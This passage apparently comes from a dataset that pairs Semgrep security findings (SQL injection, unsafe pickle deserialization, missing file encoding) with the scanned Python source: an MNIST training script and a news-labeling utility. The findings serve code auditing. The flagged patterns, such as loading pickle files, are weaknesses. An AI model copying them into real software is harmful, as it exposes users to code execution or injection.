7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/36379889fcb17b04.py", "start": {"line": 189, "col": 3, "offset": 5933}, "end": {"line": 189, "col": 138, "offset": 6068}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_36379889fcb17b04_93e2cbf0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 245, "line_end": 245, "column_start": 2, "column_end": 88, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmp10dxl77l/36379889fcb17b04.py", "start": {"line": 245, "col": 2, "offset": 7854}, "end": {"line": 245, "col": 88, "offset": 7940}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_36379889fcb17b04_6517a125", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 245, "line_end": 245, "column_start": 2, "column_end": 88, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/36379889fcb17b04.py", "start": {"line": 245, "col": 2, "offset": 7854}, "end": {"line": 245, "col": 88, "offset": 7940}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-89", "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "MEDIUM", "HIGH" ]
[ 189, 189, 245, 245 ]
[ 189, 189, 245, 245 ]
[ 3, 3, 2, 2 ]
[ 138, 138, 88, 88 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
news.py
/Ono2_NewsBot/news.py
iagorshkov/main
MIT
2024-11-18T21:51:20.384000+00:00
1,547,442,923,000
68db63b0d9dfd0c43a12ea11563b067b972cc61a
3
{ "blob_id": "68db63b0d9dfd0c43a12ea11563b067b972cc61a", "branch_name": "refs/heads/master", "committer_date": 1547442923000, "content_id": "bc83f08f2685839926a24b435dbb761ad68ebe32", "detected_licenses": [ "MIT" ], "directory_id": "85f7b1f692d8988b11bc55004476ab148f5eb7e7", "extension": "py", "filename": "main.py", "fork_events_count": 0, "gha_created_at": 1541406239000, "gha_event_created_at": 1565056661000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 156183769, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2729, "license": "MIT", "license_type": "permissive", "path": "/AI_Web/NumRecognition/model/main.py", "provenance": "stack-edu-0054.json.gz:588478", "repo_name": "xwy27/ArtificialIntelligenceProjects", "revision_date": 1547442923000, "revision_id": "e2b0154f07d749084e2d670260fa82f8f5ea23ed", "snapshot_id": "195ae8cc2d843db50efa17fe55c1b18a57138122", "src_encoding": "UTF-8", "star_events_count": 6, "url": "https://raw.githubusercontent.com/xwy27/ArtificialIntelligenceProjects/e2b0154f07d749084e2d670260fa82f8f5ea23ed/AI_Web/NumRecognition/model/main.py", "visit_date": "2020-04-04T18:53:15.230579" }
2.859375
stackv2
# -*- coding:utf-8 -*- import neuralNetwork import dataset import math import numpy as cupy import sys import struct import os import pickle if os.path.exists("profile"): command = input("Do you want to load previous profile?(y/n)\n") else: command = "" if command != "y": hiddenNodes = input("How many nodes in the hidden layer do you want to use? (recommand: 144)\n") studySpeed = input("How large gradient step distance do you want to use? (recommand: 0.0003)\n") net = neuralNetwork.NeuralNetwork([784, int(hiddenNodes), 10], float(studySpeed)) m = 0 caseCount = 0 matchCount = 0 images = dataset.parseDSImage('data/trImage') labels = dataset.parseDSLabel('data/trLabel') for index, value in enumerate(images[0]): caseCount = caseCount + 1 res = net.forword(value) label = cupy.zeros((1, 10)) targetDig = labels[0][index] if res.max() == res[0][targetDig]: matchCount = matchCount + 1 label[0][targetDig] = 1 loss = net.loss(label, res) E = (loss ** 2).sum() / 2 m += E print(index, ': ', E) print('Case Count: ', caseCount) print('Match Count: ', matchCount) print('Match Rate: ', matchCount / caseCount) net.backPropagation(loss) else: with open("profile", "rb") as f: net = pickle.load(f) command = input("Continue and have a test?(y/n)\n") if command == "y": m = 0 caseCount = 0 matchCount = 0 images = dataset.parseDSImage('data/teImage') labels = dataset.parseDSLabel('data/teLabel') for index, value in enumerate(images[0]): caseCount = caseCount + 1 res = net.forword(value) label = cupy.zeros((1, 10)) targetDig = labels[0][index] if res.max() == res[0][targetDig]: matchCount = matchCount + 1 label[0][targetDig] = 1 loss = net.loss(label, res) E = (loss ** 2).sum() / 2 m += E print(index, ': ', E) print('Case Count: ', caseCount) print('Match Count: ', matchCount) print('Match Rate: ', matchCount / caseCount) # Try to check profile if os.path.exists("grade"): with open("grade", "rb") as f: grade = pickle.load(f) if (grade < matchCount / caseCount): with open("grade", "wb") as f: pickle.dump(matchCount / caseCount, f) with open("profile", "wb") as f: pickle.dump(net, f) else: with open("grade", "wb") as f: pickle.dump(matchCount / caseCount, f) with open("profile", "wb") as f: pickle.dump(net, f) print('FINAL: ', m / images[3])
94
28.04
100
15
756
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b2ea9c44cd3b7ee5_582ee981", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 15, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/b2ea9c44cd3b7ee5.py", "start": {"line": 49, "col": 15, "offset": 1369}, "end": {"line": 49, "col": 29, "offset": 1383}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b2ea9c44cd3b7ee5_403f3bef", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 81, "line_end": 81, "column_start": 21, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/b2ea9c44cd3b7ee5.py", "start": {"line": 81, "col": 21, "offset": 2280}, "end": {"line": 81, "col": 35, "offset": 2294}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b2ea9c44cd3b7ee5_856dcd73", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 17, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/b2ea9c44cd3b7ee5.py", "start": {"line": 84, "col": 17, "offset": 2399}, "end": {"line": 84, "col": 55, "offset": 2437}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b2ea9c44cd3b7ee5_1e0b0e77", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 86, "line_end": 86, "column_start": 17, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/b2ea9c44cd3b7ee5.py", "start": {"line": 86, "col": 17, "offset": 2499}, "end": {"line": 86, "col": 36, "offset": 2518}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b2ea9c44cd3b7ee5_94b17ea6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 89, "line_end": 89, "column_start": 13, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/b2ea9c44cd3b7ee5.py", "start": {"line": 89, "col": 13, "offset": 2580}, "end": {"line": 89, "col": 51, "offset": 2618}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b2ea9c44cd3b7ee5_3e3d6db4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 13, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/b2ea9c44cd3b7ee5.py", "start": {"line": 91, "col": 13, "offset": 2672}, "end": {"line": 91, "col": 32, "offset": 2691}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.pyth...
[ "security", "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 49, 81, 84, 86, 89, 91 ]
[ 49, 81, 84, 86, 89, 91 ]
[ 15, 21, 17, 17, 13, 13 ]
[ 29, 35, 55, 36, 51, 32 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
main.py
/AI_Web/NumRecognition/model/main.py
xwy27/ArtificialIntelligenceProjects
MIT
2024-11-18T21:51:22.382255+00:00
1,659,415,891,000
ebfefd4cc409ad0d6c628757133cfb623992f15d
2
{ "blob_id": "ebfefd4cc409ad0d6c628757133cfb623992f15d", "branch_name": "refs/heads/master", "committer_date": 1659415891000, "content_id": "a2e4f66655f813a806b41009b264f326a72e9b72", "detected_licenses": [ "MIT" ], "directory_id": "df43fcad5e18ac7c52ffe48f088175816016fdd3", "extension": "py", "filename": "general_utils.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 103107523, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5871, "license": "MIT", "license_type": "permissive", "path": "/micromort/utils/general_utils.py", "provenance": "stack-edu-0054.json.gz:588504", "repo_name": "mannuscript/micromort", "revision_date": 1659415891000, "revision_id": "a1b83ada1f0f9ca34c8b44edf9703ceaa0e2a1a0", "snapshot_id": "c14f775fb6ef151c4860394819ebbd020f0b46f4", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/mannuscript/micromort/a1b83ada1f0f9ca34c8b44edf9703ceaa0e2a1a0/micromort/utils/general_utils.py", "visit_date": "2022-08-10T16:28:03.294982" }
2.5
stackv2
from micromort.resources.configs.mongodbconfig import mongodb_config import pymongo from datetime import datetime import re import micromort.constants as constants import os from tqdm import tqdm import pickle import h5py FILE_PATHS = constants.PATHS OUTPUTS_DIR = FILE_PATHS['OUTPUTS_DIR'] ARTICLE_LENGTH_THRESHOLD = constants.ARTICLE_LENGTH_PREP def partition_lists(lst, n): """ given a list it is partitioned into n sub lists """ division = len(lst) / float(n) return [lst[int(round(division * i)): int(round(division * (i + 1)))] for i in range(n)] def prep_asiaone_for_labeling(): MONGO_URL = mongodb_config['host'] MONGO_PORT = mongodb_config['port'] MONGO_DB = mongodb_config['db'] client = pymongo.MongoClient(MONGO_URL, MONGO_PORT) db = client[MONGO_DB] asiaone_article_collection = db[mongodb_config['asiaone_article_collection']] asiaone_headline_collection = db[mongodb_config['asiaone_headlines_collection']] asiaone_headlines = asiaone_headline_collection.find(no_cursor_timeout=True) with open(os.path.join(OUTPUTS_DIR, 'labeling', 'asiaone_articles.tsv'), 'w') as fp: fp.write('\t'.join(['title', 'url', 'category', 'summary', 'date'])) fp.write('\n') for headline in tqdm(asiaone_headlines, total=asiaone_headline_collection.count(), desc="Prepping asia one for labeling"): headline_text = headline['headline_text'] headline_text = headline_text.replace("\n", "").replace("\t", " ") headline_url = headline['article_url'] regex = re.compile('http://www.asiaone.com/(.*)/.*') match_obj = regex.match(headline_url) if match_obj: groups = match_obj.groups() category = groups[0] else: category = 'misc' article = asiaone_article_collection.find_one({'article_url': headline_url}) if article: summary = article['article_summary'] summary = summary.replace("\n", "").replace("\t", " ") date = article['article_date'] utc_time = datetime.strptime(date, '%Y-%M-%d') utc_time = str(int(utc_time.timestamp())) article_text = article['article_text'] if len(article_text) > ARTICLE_LENGTH_THRESHOLD: fp.write('\t'.join([headline_text, headline_url, category, summary, utc_time])) fp.write("\n") def prep_straitstimes_for_labeling(): MONGO_URL = mongodb_config['host'] MONGO_PORT = mongodb_config['port'] MONGO_DB = mongodb_config['db'] client = pymongo.MongoClient(MONGO_URL, MONGO_PORT) db = client[MONGO_DB] straitstimes_headline_collection = db[mongodb_config['straitstimes_headlines_collection']] straitstimes_article_collection = db[mongodb_config['straitstimes_article_collection']] straitstimes_headlines = straitstimes_headline_collection.find() with open(os.path.join(OUTPUTS_DIR, 'labeling', 'straitstimes_articles.tsv'), 'w') as fp: fp.write('\t'.join(['title', 'url', 'category', 'summary', 'date'])) fp.write('\n') for headline in tqdm(straitstimes_headlines, total=straitstimes_headlines.count(), desc="Prepping straitstimes headline collection"): article_url = headline['article_url'] regex = re.compile('http://www.straitstimes.com/(.*)/.*') match_obj = regex.match(article_url) if match_obj: groups = match_obj.groups() category = groups[0] else: category = 'misc' headline_text = headline['headline'] date = headline['date'] try: utc_time = datetime.strptime(date, "%b %d, %Y, %H:%M %p") utc_time = utc_time.timestamp() utc_time = str(int(utc_time)) except ValueError: continue headline_text = headline_text.replace("\n", "").replace("\t", " ").strip() article = straitstimes_article_collection.find_one({'article_url': article_url}) if article: article_text = article['article_text'] article_text = article_text.replace("\n", "").replace("\t", " ").strip() # Getting first 50 words as a summary article_summary = article_text.split(" ") article_summary = " ".join(article_summary[:50]) if len(article_text) > ARTICLE_LENGTH_THRESHOLD: fp.write('\t'.join([headline_text, article_url, category, article_summary, utc_time])) fp.write("\n") def save_pickle(obj, filename): with open(filename, 'wb') as fp: pickle.dump(obj, fp) def load_pickle(filename): with open(filename, 'rb') as fp: return pickle.load(fp) def read_array_from_hdf_file(filepath, object_name): """ Args: filepath: The full path of the h5 file object_name: The name of the object stored in the file Returns: Numpy array strored in the file """ file_handle = h5py.File(filepath, 'r') array = file_handle[object_name][:] file_handle.close() return array def write_array_to_hdf_file(filepath, objectname, data): """ Args: filepath: Full path of the file name where the objectname: object name is used to store the object data: Numpy array that needs to be stored with object name in the file Returns: """ file_handle = h5py.File(filepath, 'w') file_handle.create_dataset(objectname, data=data) file_handle.close() if __name__ == '__main__': # prep_asione_for_labeling() prep_straitstimes_for_labeling()
173
32.94
106
20
1,302
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_73faa73d79d6ad0e_80735d93", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 10, "column_end": 82, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/73faa73d79d6ad0e.py", "start": {"line": 36, "col": 10, "offset": 1072}, "end": {"line": 36, "col": 82, "offset": 1144}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_73faa73d79d6ad0e_f6515d1d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": 